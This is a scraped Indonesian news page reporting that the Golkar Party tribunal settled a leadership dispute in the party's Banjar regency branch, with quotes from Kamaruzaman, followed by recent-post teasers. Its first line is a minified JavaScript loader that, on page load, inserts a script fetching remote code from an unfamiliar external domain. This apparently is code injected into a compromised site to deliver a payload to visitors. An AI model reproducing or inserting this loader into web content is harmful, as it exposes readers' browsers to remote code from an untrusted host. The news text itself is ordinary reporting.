(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Kisruh Internal DPD Golkar Banjar Selesai di Sidang Mahkamah Partai


KANALKALIMANTAN.COM, MARTAPURA– Perselisihan internal DPD (Dewan Pimpinan Daerah) Partai Golkar Kabupaten Banjar berakhir pada putusan sidang di Mahkamah Partai Golkar, Kamis (14/10/2021) sore.

Sebelumnya perselisihan internal berawal dari Musda Pemilihan Ketua DPD Partai Golkar Kabupaten Banjar yang digelar pada Sabtu (30/1/2021) silam. Dalam Musda kala itu terpilih secara aklamasi sebagai Ketua DPD Partai Golkar Kabupaten Banjar H Rusli untuk periode ketiga.

Hasil Musda kemudian disengketakan atau ditolak oleh Kamaruzaman, Gusti Abdurrahman (Antung Aman) bersama 13 pengurus Partai Golkar tingkat Kecamatan ke Mahkamah Partai Golkar. Para pengurus Partai Golkar itu diwakili pengurus Golkar kecamatan yang diberhentikan Rifai. Rifai menyatakan, ada kejanggalan terutama dengan pemberhentian sebanyak 13 orang pengurus kecamatan jelang Musda.

Atas masalah internal partai tersebut Mahkamah Partai Golkar menggelar sidang sengketa internal kepengurusan Partai Golkar dari sejumlah daerah di Indonesia.

 

Baca juga : Ratusan Gram Sabu Berhasil Diamankan Unit Reskrim Banjarbaru Barat

Pada perkara nomor 29 adalah sengketa kepengurusan DPD Partai Golkar Kabupaten Banjar yang diajukan termohon 13 pengurus kecamatan Partai Golkar Kabupaten Banjar yang dipimpin Kamaruzaman dan Gusti Abdurrahman.

Dikatakan kader beringin, Kamaruzaman, mereka memenangkan permohonan gugatan berdasarkan putusan sidang tersebut dan menyatakan menolak seluruh permohonan termohon.

Untuk itu ia meminta semua pihak menghormati dan menjalankan amar putusan Mahkamah Partai Golkar.

“Putusan sidang Mahkamah Partai Golkar telah memenangkan permohonan gugatan kami. Selanjutnya kita semua kader dan pengurus DPD Partai Golkar Kabupaten Banjar bersatu untuk soliditas partai menghadapi tahun politik 2024,” tegas Kamaruzaman yang dipercaya menjadi Ketua Komisi I DPRD Banjar ini.(kanalkalimantan.com/rdy)

Reporter : rdy
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.